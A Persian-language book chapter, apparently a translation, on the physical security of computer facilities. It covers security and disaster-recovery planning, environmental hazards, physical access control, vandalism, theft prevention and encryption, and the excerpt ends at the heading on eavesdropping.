با کمال تعجب بسیاری از سازمانها به امنیت فیزیکی توجهی ندارند. یک کانون سرمایه‌گذاری در نیویورک که دائماً مورد دستبرد قرار می‌گرفت دهها هزار دلار در زمینهٔ آزمایشهای امنیت رایانه سرمایه‌گذاری کرد تا از ورودهای غیرمجاز در خلال روز جلوگیری کند، اما بعد از مدتی به این نتیجه رسید که مشکل آنجا است که شبها هنگامیکه نظافتچی سالن کامپیوتر را تمیز می‌کند درهای ورودی آنرا باز می‌گذارد. مجله‌ای در San Francisco در طول یک روز تعطیل معادل بیش از یکصد هزار دلار از رایانه‌هایش به سرقت رفتند، چون یکی از کارمندان از کارت کلید الکترونیکی خود برای باز کردن درب ساختمان و از کار انداختن سیستم اعلام خطر استفاده کرده بود. این فرد پس از ورود به ساختمان به موتورخانه – جایی که سیستم اعلام خطر در آنجا وجود دارد – رفته بود؛ و گزارش مکتوب را نیز از چاپگر دستگاه اعلام خطر بیرون کشیده و منهدم کرده بود.

سایر سازمانها گمان می‌کنند مواجههٔ صحیح با امنیت فیزیکی بسیار پیچیده یا مشکل است. سازمانهای کمی توانایی آنرا دارند که سرویس‌دهنده‌های خود را از حملات هسته‌ای، زمین‌لرزه‌های بزرگ، یا بمب‌گذاری‌های تروریستی حفاظت کنند؛ اما هرگز نباید به بهانهٔ خنثی شدن این موارد فاجعه‌آمیز، سازمان را از انجام برنامه‌ریزی دقیق برای موارد ناگوار باز داریم.

53 *Uninterruptable Power Supply*

مواردی که امنیت فیزیکی شامل آنها می‌شود – تهدیدها، تجارب، و حفاظها – عملاً برای پایگاهها یا مؤسسات مختلف، متفاوت هستند. چون هر پایگاه با پایگاه دیگر تفاوت دارد، این فصل نمی‌تواند مجموعه‌ای از توصیه‌های خاص را ارائه کند و تنها می‌تواند یک نقطه شروع، یک فهرست از مسائل قابل ملاحظه، و یک رویه پیشنهادی برای فرمول‌بندی برنامه واقعی ارائه نماید.

برنامهٔ امنیت فیزیکی

اولین گام ایمن‌سازی فیزیکی تأسیسات شما فرمول‌بندی یک برنامهٔ مکتوب است که نیازهای فعلی امنیت فیزیکی و سمت و سوی مورد نظر شما در آینده را نشان دهد. بطور ایده‌آل، برنامهٔ فیزیکی باید بخشی از سیاستهای امنیتی مکتوب شما باشد. این طرح برای تکامل لازم است توسط سایر اعضا خوانده شود، و باید مورد تأیید مدیریت ارشد سازمان نیز قرار گیرد. بنابراین هدف از برنامه، هم برنامه‌ریزی و هم اتخاذ تدابیر سیاسی است.

برنامهٔ امنیت شما باید سرمایه‌هایی که آنها را محافظت می‌کنید، ارزش آنها، نقاطی که این اقلام در آن مستقر هستند، تهدیدهای احتمالی که با آنها مواجه می‌شوند، و همچنین احتمال وقوع آنها را توصیف کند. فراموش نکنید که اطلاعات را بعنوان یکی از اقلام سرمایه درنظر بگیرید. همچنین لازم است که فضای محیطی امنیت – حد و مرز میان سایر قسمتهای جهان و ناحیهٔ امن شما – و هر حفره در فضای محیطی، همراه با شیوه‌های دفاعی، طرحهای مقاوم‌سازی آنها، و هزینهٔ پیاده‌سازی این طرحها را مشخص کنید. اگر تأسیسات حیاتی خاصی را اداره می‌کنید، به تدوین این برنامه توجه زیادی نشان دهید و مثلاً آنرا برای ارزیابی به یک شرکت بیرونی که تخصصش برنامه‌ریزی برای ترمیم سوانح و ارزیابی خطر است بدهید. طرح امنیت خود را یک مدرک حساس بشمار آورید؛ چراکه این طرح طبق طبیعت ذاتی، حاوی اطلاعات مشروح در مورد ضعیف‌ترین نقاط دفاعی شما است.

برنامهٔ ترمیم سوانح

همچنین لازم است برای حفاظت فوری و موقت تجهیزات رایانه‌ای و بارگذاری نسخه‌های پشتیبان در سیستمهای جدید درصورت سرقت یا خرابی رایانه‌های خود برنامه‌ای داشته باشید. این برنامه موسوم به *طرح ترمیم سوانح*[۵۴] است. این برنامه همچنین باید اجزای امنیتی خود را نیز در بر بگیرد؛ به این معنی که حتی زمانیکه شما در یک پایگاه سانحه‌دیده مشغول به کار هستید و یا سیستم را از یک سانحه ترمیم می‌کنید، ایده‌آل آن است که اصول ایمنی همچنان رعایت شوند.

می‌توانید بطور منظم بخشهایی از این برنامه را با اجاره کردن یا قرض گرفتن یک سیستم رایانه و تلاش برای احیای نسخه‌های پشتیبان آزمایش کنید. همچنین می‌توانید با تناوب کمتر تمام برنامهٔ ارزیابی را اجرا کنید تا مطمئن شوید که تسهیلات جایگزین در دسترس هستند و زمانیکه به آنها نیاز دارید درست کار می‌کنند.

سایر احتمالات

علاوه بر اقلامی که ذکر شد، ممکن است بخواهید تأثیر موارد زیر را روی عملیات خود مشاهده کنید:

قطع خدمات تلفن یا اتصالات شبکه

قطع این خدمات و اتصالات روی عملیات عادی شما چه تأثیری می‌گذارد؟

تداوم کار فروشنده

پشتیبانی چقدر اهمیت دارد؟ اگر فروشنده تغییر شغل دهد یا تغییراتی دهد که شما نخواهید خود را با آن وفق دهید، آیا می‌توانید به سیستم سخت‌افزاری یا نرم‌افزاری دیگری منتقل شوید؟

غیبت قابل ملاحظه کارمندان
آیا این مسئله روی توانایی انجام عملیات شما تأثیر می‌گذارد؟

فوت، معلولیت، یا عزل یک عضو کلیدی سازمان
آیا هر عضو سازمان رایانه‌ای شما می‌تواند جایگزین شود؟ برنامه‌های احتمالی چیستند؟

برنامه‌ریزیهای انجام‌شده برای ترمیم سوانح باید متناسب با برنامه‌های اقتضائی شما در گسترهٔ سازمانی باشند. حفظ اطلاعات معمولاً حیاتی است، ولی وقتی فضا، قدرت، یا ابزار لازم برای تداوم عملکرد نباشد کمتر مفید خواهد بود.

حفاظت از سخت‌افزار رایانه

حفاظت فیزیکی یک رایانه بسیاری از همان مسائلی را در بردارد که هنگام حفاظت ماشین تحریر، زیورآلات یا کشوهای پر از پرونده با آن مواجه می‌شویم. همانطور که در مورد یک ماشین تحریر صدق می‌کند، یک رایانهٔ دفتری وسیله‌ای است که بسیاری از افراد دفتر باید به آن دسترسی داشته باشند. مشابه زیورآلات، رایانه‌ها باارزش هستند و بطور کلی فروش آنها برای یک سارق آسان است. مانند پرونده‌های قانونی و مدارک مالی، اگر نسخهٔ پشتیبان نداشته باشید یا نسخهٔ پشتیبان همراه با رایانه به سرقت رفته یا خراب شده باشد – اطلاعاتی که از دست داده‌اید ممکن است غیرقابل جایگزینی باشد. حتی اگر نسخهٔ پشتیبان هم داشته باشید همچنان لازم است برای برپایی یک سیستم جایگزین زمان قابل توجهی را صرف کنید. نکتهٔ آخر اینکه همیشه این احتمال وجود دارد که اطلاعات به سرقت رفته، یا تنها آگاهی از همین نکته که اطلاعات شما به سرقت رفته، علیه خود شما بکار رود.

چیزی که مشکلات را بیشتر می‌کند این است که رایانه‌ها و رسانه‌های رایانه‌ای بسیار تحت تأثیر محیط خود هستند. یک منبع تغذیهٔ قدرت رایانه اگر به برق وصل باشد و در نزدیکی محل صاعقه‌ای رخ دهد ممکن است براحتی بسوزد.

تدابیر مختلفی وجود دارد که با اتخاذ آنها می‌توان از سیستمهای رایانه‌ای در مقابل خطرات فیزیکی حفاظت کرد. بسیاری از این راه‌حلها سیستم را بصورت همزمان از بلایای طبیعی، افراد بیرونی، و اخلال‌گران درونی محافظت می‌کنند.

حفاظت در مقابل تهدیدات محیطی

رایانه‌ها معمولاً برای صحیح کار کردن به شرایط فیزیکی و محیط کاملاً متعادلی نیاز دارند. به هم خوردن این تعادل ممکن است باعث آن شود که رایانه بصورتی غیرمنتظره و معمولاً ناخوشایند دچار خرابی شود. حتی بدتر از آن، رایانه ممکن است به کار نامنظم خود ادامه دهد، نتایج غلط تولید کند، و اطلاعات با ارزش را مخدوش نماید.

آتش

رایانه‌ها معمولاً در مقابل آتش بسیار کم دوام می‌آورند. اگر می‌خواهید رایانهٔ شما از این قاعده مستثنی باشد از وجود تجهیزات آتش‌نشانی خوب در نزدیکی محل و همچنین آموزش کارکنان برای استفادهٔ خوب از آنها اطمینان حاصل کنید. سیستمهای تخلیهٔ اتوماتیک گاز و دستگاههای آبپاش قطره‌ای هر کدام مزایا و معایبی دارند که باید به دقت درنظر گرفته شوند.

مطمئن شوید که علاوه بر رایانه‌ها، سیم‌کشی‌ها هم محافظت شده‌اند. اطمینان حاصل کنید که آشکارگرهای دود و کلاهکهای آبپاشهای قطره‌ای – اگر استفاده شده‌اند – طوری نصب شده باشند که سیمهای درون سینی‌های کابل (غالباً در بالای سقفهای کاذب) و نیز کانالهای کابل را پوشش دهند.

دود

دود برای تجهیزات رایانه‌ای بسیار مخرب است. دود سایندهای قوی است و روی شاخکهای دیسک مغناطیسی سرباز، دیسکهای نوری و نوار گردانها جمع می‌شود. گاهی اوقات دود بوسیلهٔ خود رایانه تولید می‌شود. آتش‌سوزی‌های برقی – بویژه آنهایی که توسط مبدلهای مانیتورهای ویدئویی بوجود آمده‌اند می‌توانند دودهای تند و زننده تولید کنند که ممکن است سایر تجهیزات را خراب کند و نیز سمی یا سرطانزا باشد. خطر مهم دیگر دودی است که از سیگارها و پیپ‌ها بر می‌خیزد.

در هر اتاقی که تجهیزات رایانه‌ای وجود دارد، *آشکارگر دود*[55] نصب کنید و مطمئن شوید که این آشکارگرها در زیر کف‌های پله‌ای و بالای سقف کاذب نیز وجود دارند. در اتاق رایانهٔ خود به کسی اجازه استعمال دخانیات ندهید.

زمین‌لرزه

تقریباً همهٔ قسمتهای زمین، لرزشهای موسمی را تجربه می‌کند. برخی از ساختمانها در زمین‌لرزه فرو می‌ریزند و بسیاری از آنها سرپا باقی می‌مانند. توجه دقیق به نحوهٔ استقرار طاقچه‌ها و قفسه‌های کتاب در دفترتان می‌تواند احتمال اینکه رایانه و شما از شدیدترین سوانح جان سالم بدر برید را افزایش دهد.

از گذاشتن رایانه در ارتفاعات زیاد یا نزدیک پنجره و همینطور از قراردادن اشیای سنگین روی قفسه‌های نزدیک رایانه بپرهیزید. می‌توان رایانه‌ها را زیر میزهای قوی قرارداد یا به سطحی که روی آن قرار دارند متصل کرد. برای اینکار می‌توانید از پیچ و مهره، نوارهای نگهدارنده، یا سایر وسایل استفاده کنید. (انجام اینکار همچنین به جلوگیری از سرقت کمک می‌کند.)

کمترین و بیشترین دما

رایانه‌ها مانند افراد در دامنهٔ خاصی از دما خوب کار می‌کنند. اغلب سیستمهای رایانه‌ای باید در دمایی بین ۱۰ تا ۳۲ درجهٔ سلسیوس (۵۰ تا ۹۰ درجه فارنهایت) نگهداری شوند. اگر دمای محیط اطراف رایانهٔ شما خیلی بالا رود، رایانه نمی‌تواند به اندازهٔ کافی خود را خنک کند و ممکن است اجزای داخل آن آسیب ببینند. اگر دما خیلی پایین بیاید ممکن است به سیستم شوک حرارتی وارد شود و وقتی کامپیوتر روشن می‌شود بردهای مدار یا مدارهای مجتمع آن شکاف بردارند.

وقتی مشخص کردید که رایانه‌ها در چه محدودهٔ دمایی می‌توانند در نوسان باشند، آن دماها را برآورید. به حرارت‌گیرها و الگوی جریان هوای دستگاه‌هایتان توجه ویژه کنید. از آژیرهای دما برای نظارت بر دمای محیط استفاده نمایید.

پارازیت‌های الکتریکی

موتورها، پنکه‌ها، تجهیزات سنگین، و حتی رایانه‌های دیگر، پارازیتهای الکتریکی تولید می‌کنند که می‌تواند موجب بروز مسایل متناوب برای رایانه‌ای که از آن استفاده می‌کنید شود. این پارازیتها می‌توانند از طریق فضا یا کابلهای انتقال برق نزدیک محلتان منتقل شوند.

امواج الکتریکی نوع خاصی از پارازیتهای الکتریکی هستند که شامل یک یا چند پالس ولتاژ بالا می‌شوند. چنانچه امکانپذیر باشد هر رایانه باید یک مدار الکتریکی مجزا و یک سیم زمین با یک دستگاه صافی قدرت ایزوله داشته باشد. یک رایانه تحت هیچ شرایطی نباید با وسایل برقیِ سنگین مدار اشترکی داشته باشد. رساناهای رادیویی (از جمله تلفنهای سیار) باید از رایانه‌ها دور نگه داشته شوند.

صاعقه

صاعقه امواج بزرگ برق تولید می‌کند که حتی می‌تواند رایانه‌هایی که وسایل حفاظت الکتریکی دارند را خراب کند. اگر صاعقه به اسکلت فلزی ساختمان شما اصابت کند (یا به برق‌گیر آن برخورد نماید)، جریان حاصله می‌تواند یک میدان مغناطیسی قوی در مسیر

55 *Smoke Detector*

خود تا زمین ایجاد کند. رایانه‌ها باید در خلال طوفانهای صاعقه‌ای از پریز برق بیرون کشیده شوند؛ اگر چنین کاری امکانپذیر نیست از تجهیزات بازدارندهٔ امواج استفاده کنید. گرچه این وسایل در مقابل برخورد مستقیم دستگاه را حفاظت نخواهند کرد، ولی وقتی طوفانها دور باشند کمک می‌کنند. واسطه‌های مغناطیسی باید حتی‌الامکان از سازهٔ فلزی ساختمان دور نگاه داشته شوند. هیچگاه بیرون ساختمان از کابل مسی شبکه استفاده نکنید، مگر داخل کانالهای فلزی.

آب

آب می‌تواند رایانهٔ شما را نابود کند. اولین خطر اتصال کوتاه الکتریکی است که درصورتی پیش خواهد آمد که آب میان خطوط حاوی ولتاژ و یک خط انتقال زمین صفحهٔ مدار، اتصال برقرار کند.

آب معمولاً از باران یا سیل و گاهی اوقات از سیستمهای آبپاش قطره‌ای که از کنترل خارج می‌شوند جاری می‌گردد. آب همچنین ممکن است از جاهای عجیب و غریب مانند سرریز دستشوئی‌ها در طبقات بالاتر، یا بر اثر خرابکاری‌ها، و یا از دپارتمان آتش‌نشانی جریان پیدا کند.

رایانه‌ها را از طبقات زیرزمین که در معرض سیلاب هستند بیرون آورید. حسگرهای آب را روی زمین طبقه‌ای که سالنهای رایانه‌ای در آن هست و همچنین زیر طبقات پله‌ای نصب کنید و از آنها برای قطع اتوماتیک برق درصورت وقوع سیل استفاده کنید.

غذا و نوشیدنی‌ها

غذاها بویژه غذاهای چرب به انگشتان افراد می‌چسبند و از آنجا به هرچه که فرد به آن دست می‌زند منتقل می‌شوند. این اتفاق غالباً سطوح حساس نسبت به کثیفی مانند نوارهای مغناطیسی و دیسکهای نوری را نیز شامل می‌شود. یکی از سریعترین روشهای از کار انداختن یک صفحه کلید رومیزی این است که یک نوشیدنی غیر الکلی یا یک فنجان قهوه روی دکمه‌های آن ریخته شود. در حالت کلی ساده‌ترین قاعده ایمن‌ترین هم هست: همهٔ غذاها و نوشابه‌ها را از سیستمهای رایانه‌ای خود دور نگهدارید.[۵۶]

سایر خطرات محیطی

ممکن است خطرات محیطی دیگری نیز بوجود بیایند:

- *گرد و غبار* – تا آنجا که ممکن است سالنهای رایانه‌ای خود را از گرد و غبار تمیز نگه دارید، و از یک جارو برقی مخصوص کامپیوتر با صافی بسیار ریز در بازه‌های منظم زمانی برای تمیزکاری استفاده نمایید.
- *انفجار* – اگر مجبور هستید از رایانه در محیطی استفاده کنید که در آن خطر انفجار وجود دارد باید محفظه‌های ضد انفجار را بکار برید. نسخه‌های پشتیبان نیز باید در محفظه‌های ضد انفجار و یا خارج از محوطه نگهداری شوند.
- *حشرات* – برای محدود کردن تعداد حشرات در سالن رایانه‌تان اقدامات مؤثر انجام دهید.
- *لرزش* – در یک محیط با لرزش زیاد، رایانه‌ها را روی یک زیرانداز لاستیکی یا نرم قراردهید، طوری که دریچه‌های تهویهٔ هوا مسدود نشده باشند.
- *رطوبت* – رطوبت محیط را کنترل نموده و در سطح مناسبی نگاه دارید.

کنترل محیطی

برای تشخیص مشکلات ناخواسته، به طور مداوم دما و رطوبت نسبی اتاق رایانه را نظارت و ثبت کنید. بعنوان یک قاعده کلی، هر ۱۰۰۰ فوت مربع از فضای اداری باید تجهیزات ثبت مخصوص به خودش را داشته باشد. آنچه ثبت کرده‌اید را در بازه‌های زمانی منظم بررسی و گزارش کنید.

---

۵۶ *این قاعده شاید بیش از هر قاعده‌ای در این فصل اهمیت دارد که غالباً هم نقض می‌شود.*

کنترل دسترسی فیزیکی

قوهٔ تشخیص به شما حکم می‌کند رایانه خود را در یک اتاق قفل‌شده نگهدارید؛ اما این اتاق چه قدر ایمن است؟ گاهی اوقات اتاقی که به نظر می‌رسد ایمن است در واقع کاملاً ناامن است.

کف‌های پله‌ای و سقف‌های کوتاه

در بسیاری از ساختمانهای اداری مدرن، دیوارهای داخلی اتاق تا بالای سقفها و زیر کفها نمی‌رسند. این نوع ساختمان‌سازی دسترسی را از اتاقها و دفاتر مجاور ساده می‌کند.

ورود از طریق کانالهای هوا

اگر کانالهای هوایی که به اتاق رایانه شما هوا می‌رساند به اندازه کافی بزرگ باشند، مهاجمین می‌توانند از آنها برای ورود به محوطهٔ هرچند ایمن شما استفاده کنند. محیطهایی که نیاز به تهویهٔ زیاد هوا دارند باید از چند کانال کوچک یا یک کانال بزرگ که دارای توری‌های جوش داده شده به دریچه‌های هوا یا داخل کانالها می‌باشد استفاده کنند. در یک محیط با امنیت خیلی زیاد، می‌توان در داخل کانالها از آشکارسازهای حرکتی نیز استفاده نمود.

دیوارهای شیشه‌ای

گرچه دیوارهای شیشه‌ای و پنجره‌های بزرگ معمولاً برای افزایش جلوه معماری بکار می‌روند، اما می‌توانند خطرات جدی امنیتی باشند. دیوارهای شیشه‌ای به راحتی شکسته می‌شوند؛ یک آجر با یک بطری بنزین که به طرف پنجره پرتاب شود می‌تواند خرابیهای قابل ملاحظه‌ای به بار آورد. یک مهاجم می‌تواند به سادگی از طریق تماشای افرادی که در طرف دیگر دیوار شیشه‌ای یا پنجره هستند اطلاعاتی حیاتی مانند رمزهای عبور یا اطلاعاتی راجع به عملکرد سیستم کسب کند. همچنین ممکن است بتوان اطلاعات پشت یک صفحهٔ مات را با تحلیل امواج نور بازتابی آن بدست آورد. دیوارهای شیشه‌ای داخلی برای اتاقهایی که باید حفاظت شوند اما نگهبان مجاز به ورود نمی‌باشد خوب هستند؛ اما در تمام موارد دیگر باید از آنها اجتناب کنید.

حفاظت در مقابل تخریب

سیستمهای رایانه‌ای اهداف مناسبی برای تخریب هستند. دلایل تخریب می‌تواند شامل انتقام، آشوبها، اعتصابات، بیانیه‌های سیاسی و فکری، و یا تنها سرگرمی برای نابخردان باشد. اصولاً هر بخش یک سیستم رایانه‌ای – یا ساختمانی که آنرا در خود جا داده است – ممکن است هدف تخریب قرار بگیرد. در عمل بعضی از اهداف بیش از سایرین آسیب‌پذیر هستند.

منافذ تهویهٔ هوا

سالها قبل، ۶۰ ایستگاه‌کاری در *مؤسسه فناوری ماساچوست* (دانشگاه MIT)[۵۷] در تنها یک بعدازظهر توسط یک دانشجو که نوشابه-اش را داخل سوراخهای تهویه هوای هر رایانه ریخت خراب شدند.

رایانه‌هایی که دارای شکافهای تهویهٔ هوا هستند به آنها احتیاج دارند. برای جلوگیری از اینگونه تخریبها نمی‌توان این شکافها را مسدود کرد، بلکه باید آوردن غذا و نوشیدنی به اتاق رایانه را اکیداً ممنوع نمود، یا حفاظت ۲۴ ساعته را از طریق یک مأمور یا تلویزیون مدار بسته انجام داد.

57 *Massachusetts Institute of Technology*

کابلهای شبکه

در بسیاری از موارد شخص تخریبگر می‌تواند کل زیرشبکهٔ ایستگاههای کاری را با قطع تنها یک سیم با استفاده از یک سیم‌چین از کار بیندازد. کابلهای فیبرنوری در مقایسه با Ethernet آسیب‌پذیرتر هستند (آسانتر می‌توانند آسیب ببینند)، مشکلتر ترمیم می‌شوند (سخت به هم پیوند می‌خورند)، و اهداف جذابتری هستند (معمولاً اطلاعات بیشتری تبادل می‌کنند).

معمولاً از کابل‌کشی‌های "موقت" در تأسیسات، بصورت دائمی استفاده می‌شود؛ پس وقت و تلاش بیشتری صرف کنید که در همان ابتدا کابل را بطور صحیح نصب نمایید. یک روش ساده برای حفاظت از یک کابل شبکه این است که آنرا از محلهای واجد امنیت فیزیکی عبور دهیم. برای مثال Ethernet می‌تواند از میان مجاری فولادی عبور داده شود. این شیوه علاوه بر حفاظت در مقابل تخریب، در حفاظت از بعضی انواع استراق‌سمع‌های شبکه‌ای نیز کارساز است، و ممکن است کابلهای شما را درصورت وقوع یک آتش‌سوزی کوچک هم حفظ کند. اگر کسی روی کابلهای فیبرنوری پا بگذارد ممکن است در آنها شکستگی‌های کوچک رخ دهد. پیدا کردن یک شکستگی از این نوع مشکل است، چون اثری از آن در روکش کابل دیده نمی‌شود.

برخی از تأسیسات بسیار ایمن از کانالهای دو جدارهٔ حفاظدار که در میان لایه‌های آن گازِ فشرده وجود دارد استفاده می‌کنند. اگر فشار درون جداره‌ها پایین بیاید فشاریاب‌های کانال ترافیک گذرنده از خطوط را متوقف می‌کنند یا زنگ خطر را به صدا در می‌آورند. اینحالت وقتی رخ می‌دهد که مثلاً شخصی در دیواره‌های کانال منفذ ایجاد کند.

اتصال‌دهنده‌های شبکه

علاوه بر بریدن یک کابل، مهاجمی که به یک پایانهٔ شبکه – یا یک اتصال‌دهندهٔ شبکه – دسترسی دارد می‌تواند برق سیستم را از کار بیاندازد یا شبکه را دچار آسیب کند. همهٔ شبکه‌های کابلی در مقابل حملات ولتاژ قوی آسیب پذیر هستند.

اتصالات وسایل

در بسیاری از ساختمانها قطع کردن برق، گاز و آب – گاهی حتی از خارج ساختمان – براحتی میسر است. چون رایانه‌ها نیاز به انرژی الکتریکی دارند، و چون سیستمهای کنترل دما ممکن است به گرمکن‌های گازی یا سردکن‌های آبی وابسته باشند، این امر می‌تواند برای افراد تخریبگر نقاط انجام حملهٔ جدید بوجود آورد.

دفاع در مقابل عملیات جنگی و تروریستی

چون حفاظت در مقابل بسیاری از حملات غیرممکن است، سیستمی از پشتیبانهای فوری و دیسکها و سرویس‌دهنده‌های انعکاسی را مد نظر داشته باشید. با یک اتصال شبکهٔ نسبتاً سریع می‌توانید ترتیبی دهید که فایلهای ذخیره‌شده روی یک کامپیوتر همزمان روی یک سیستم دیگر واقع در سوی دیگر شهر یا آنسوی جهان نسخه‌برداری شوند. پایگاههایی که نمی‌توانند پشتیبانی همزمان داشته باشند می‌توانند dumpهای افزایشی ساعتی یا شبانه داشته باشند. اگرچه یک بمبگذاری انتحاری ممکن است مرکز رایانه‌ای شما را نابود کند، اما از داده‌های شما می‌توان در جای دیگر و با اطمینان خاطر حفاظت نمود.

پیشگیری از سرقت

سرقت رایانه – خصوصاً سرقت رایانه‌های کیفی – می‌تواند یک تجربهٔ آزاردهنده باشد، اما اگر رایانه حاوی اطلاعات غیرقابل جایگزینی یا فوق‌العاده حساس باشد ممکن است برای قربانی گران تمام شود.

بسیاری از سیستمهای رایانه‌ای برای فروش مجدد به سرقت می‌روند – یا بصورت سیستم کامل و یا اگر سارقان خبره باشند بصورت قطعات مجزا، که ردیابی کردنشان مشکلتر است. بعضی رایانه‌ها توسط کسانی به سرقت برده می‌شوند که نمی‌توانند برای خود رایانه تهیه کنند. بعضی رایانه‌ها هم به خاطر اطلاعاتی که در آنها ذخیره شده است و معمولاً توسط افرادی که می‌خواهند آن

اطلاعات را بدست آورند و البته گاهی هم توسط کسانی که می‌خواهند صاحب رایانه را از کاربرد آن اطلاعات محروم کنند به سرقت می‌روند. مهم نیست که چرا رایانه‌ای دزدیده می‌شود؛ غالب سرقتهای رایانه‌ای یک عنصر مشترک دارند: فرصت. در بسیاری از موارد رایانه‌ها به این دلیل به سرقت رفته‌اند که بدون محافظت رها شده بودند.

رایانه‌های کیفی یا سایر انواع رایانه‌های قابل حمل مخاطرات مخصوص به خود را دارند. آنها به آسانی به سرقت می‌روند، محکم بستن آنها به جایی مشکل است (در غیر اینصورت دیگر سیار نخواهند بود!)، و به سادگی به فروش مجدد می‌رسند. کسانیکه از رایانه‌های کیفی استفاده می‌کنند باید آموزش ببینند که برای حفاظت از رایانه‌هایشان بسیار مراقب باشند. گزارش شده که سرقت این رایانه‌ها بخصوص در فرودگاهها درحال حاضر یک معضل اساسی است. رایانه‌های کیفی نباید در هیچ کجا و برای هیچ مدتی بدون مراقبت رها شوند. اگر شما با تاکسی مسافرت می‌کنید رایانهٔ کیفی خود را به جای صندوق‌عقب ماشین، نزد خودتان نگهدارید.

خوشبختانه با انجام تعداد محدودی اقدامات کم‌هزینه و ساده می‌توانید خطر سرقت رایانه کیفی یا رومیزی را به میزان زیادی کاهش دهید.

قفلها

یکی از راههای خوب حفاظت رایانه از سرقت، ایمن‌سازی فیزیکی آن است. اتصال‌دهنده‌های فیزیکی گوناگونی برای بستن رایانه‌ها به میزها و کابینت‌ها وجود دارند. اگرچه این وسایل نمی‌توانند از سرقت جلوگیری کنند، اما وقوع آنرا دشوارتر می‌سازند.

قابلیت حمل آسان یک عامل مهم فروش رایانه‌های کیفی و همچنین اصلی‌ترین دلیل به سرقت رفتن آنها است. یکی از بهترین راهها برای کاهش احتمال به سرقت رفتن رایانهٔ کیفی این است که حداقل بطور موقت آنرا به میز، یک لوله یا یک شیء بزرگ دیگر قفل کنید.

بیشتر رایانه‌های کیفی که امروزه به فروش می‌رسند مجهز به یک شیار امنیتی هستند. با قیمت کمتر از ۵۰ دلار می‌توان یک قفل کابلی خرید که شیار امنیتی رایانه کیفی را به اشیاء نزدیک آن قفل می‌کند. اگر دستگاه به جایی قفل شود نمی‌توان بدون داشتن کلید یا آسیب رساندن به دستگاه آنرا باز کرد، و درصورت آسیب دیدن رایانه هم فروش مجدد آن بسیار دشوار خواهد شد. اینگونه قفلها بیشتر مانع قاپیده شدن رایانه‌های کیفی توسط دزدهای خیابانی می‌شوند.

برچسب‌زدن

یک راه دیگر برای کاهش امکان سرقت و افزایش احتمال بازپس فرستادن رایانه کیفی، حکاکی نام و شماره تلفن یا برچسب زدن روی آن توسط برچسب‌زنهای ثابت یا نیمه‌ثابت است. وجود این برچسبها، ادعای عدم اطلاع خریداران یا فروشندگان از مسروقه بودن رایانه را بسیار سخت می‌کند.

برچسبهای یک سیستم برچسب‌زنی خوب به وضوح قابل رؤیت هستند و شمارهٔ سری اختصاصی دارند که موجب می‌شود سازمان بتواند مشخصات آنرا ردیابی کند. یک سیستم برچسب‌گذاری کم‌هزینه بوسیلهٔ شرکت *ردیابی امن وسایل دفتری* (STOP)[۵۸] تولید شده است. به این برچسبها شمارهٔ سری اختصاصی تعلق گرفته و با پشتیبانی ۳ ساله در اروپا، استرالیا، آمریکای لاتین، و آمریکای شمالی همراه است. چنانچه یک قطعه تجهیزات با برچسب STOP پیدا شود، شرکت می‌تواند ترتیبی بدهد که به مالک اصلی بازگشت داده شود.

نرم‌افزارها و خدمات ترمیم رایانه‌های کیفی

امروزه شرکتهای مختلفی برنامه‌هایی برای "ردیابی" رایانه‌های شخصی به فروش می‌رسانند. برنامهٔ ردیابی در قسمتهای مختلف رایانهٔ کیفی پنهان می‌شود و هر از چندگاه یک تماس با سرویس ردیابی برقرار می‌کند تا محل خود را اعلام کند. این تماس ممکن

58 *Secure Tracking of Office Property (http://www.stoptheft.com)*

است با استفاده از یک خط تلفن و یا یک اتصال شبکه باشد. معمولاً از این تماسها صرفنظر می‌شود، اما چنانچه رایانه کیفی در مرکز سرویس ردیابی بعنوان "دزدیده‌شده" به ثبت رسیده باشد، پلیس در جریان محل محموله دزدی قرار خواهد گرفت.

البته بسیاری از این سیستمها روی دستگاههای رومیزی هم مثل رایانه‌های کیفی کار می‌کنند. بنابراین شما می‌توانید از سیستمهایی که تصور می‌کنید مخاطرهٔ بالایی برای دزدیده‌شدن دارند بدینصورت محافظت کنید.

سرقت اجزاء

زمانیکه قیمت RAM بالا بود شرکتهای تجاری و دانشگاهها از دزدیهای متوالی RAM رنج می‌بردند. بسیاری از شرکتها و دانشگاههای رایانه‌ای شاهد دزدیهای بزرگ پردازشگرهای پیشرفته بوده‌اند. RAM و پردازشگرهای آخرین مدل براحتی در بازار آزاد به فروش می‌رسند. این پردازشگرها غیرقابل ردیابی هستند و هنگامیکه سارقین تنها قسمتی از RAM داخل یک رایانه را می‌دزدند، ممکن است هفته‌ها یا ماهها بگذرد تا موضوع آشکار شود. چنانچه یک کاربر شکایت کند که یک رایانه ناگهان بسیار آهسته‌تر از آنچه دیروز کار می‌کرد کار می‌کند، RAM آنرا بررسی کنید، و سپس بررسی کنید که آیا case آن از ایمنی فیزیکی لازم برخوردار است یا نه.

رمزگذاری

اگر رایانهٔ شما به سرقت رفته باشد اطلاعاتی که روی آن قرار دارد در راستای برآورده شدن اهداف صاحب جدید رایانه بکار خواهد رفت. آنها ممکن است اطلاعات را پاک کنند یا آنرا بخوانند. اطلاعات حساس ممکن است به فروش برسد، یا در نامه‌پراکنی‌های بدنام کننده و یا در سوء استفاده از سایر رایانه‌ها بکار رود.

هیچگاه نمی‌توان چیزی را از سرقت کاملاً دور نگه داشت اما می‌توان اطلاعات به سرقت رفته را تقریباً بی‌استفاده نمود؛ برای این منظور کافی است دستگاه رمزگذاری شده باشد و سارق کلید رمزگذاری را نداند. به این دلیل، حتی با بهترین مکانیزمهای امنیت رایانه‌ای و بازدارنده‌های فیزیکی، اطلاعات حساس باید با استفاده از یک نظام رمزگذاری که شکستن آن مشکل باشد رمزگذاری شوند. توصیه ما استفاده از یک سیستم رمزگذاری قوی است تا حتی اگر رایانه‌تان به سرقت رفت، اطلاعات حساسی که در آن وجود دارد براحتی مورد بهره‌برداری سوء واقع نشود.

حفاظت از اطلاعات

همپوشانی زیادی میان امنیت فیزیکی دستگاههای رایانهٔ شما و محرمانگی و یکپارچگی و صحت داده‌هایتان وجود دارد. از همهٔ اینها گذشته اگر کسی رایانه شما را بدزدد طبیعتاً داده‌های آنرا نیز در اختیار دارد. متأسفانه داده‌های شما در معرض حملات گوناگونی قرار دارند که ممکن است اقدامات فیزیکی که در قسمتهای قبلی به آنها اشاره شد را بی‌اثر کنند.

استراق‌سمع (شنود)

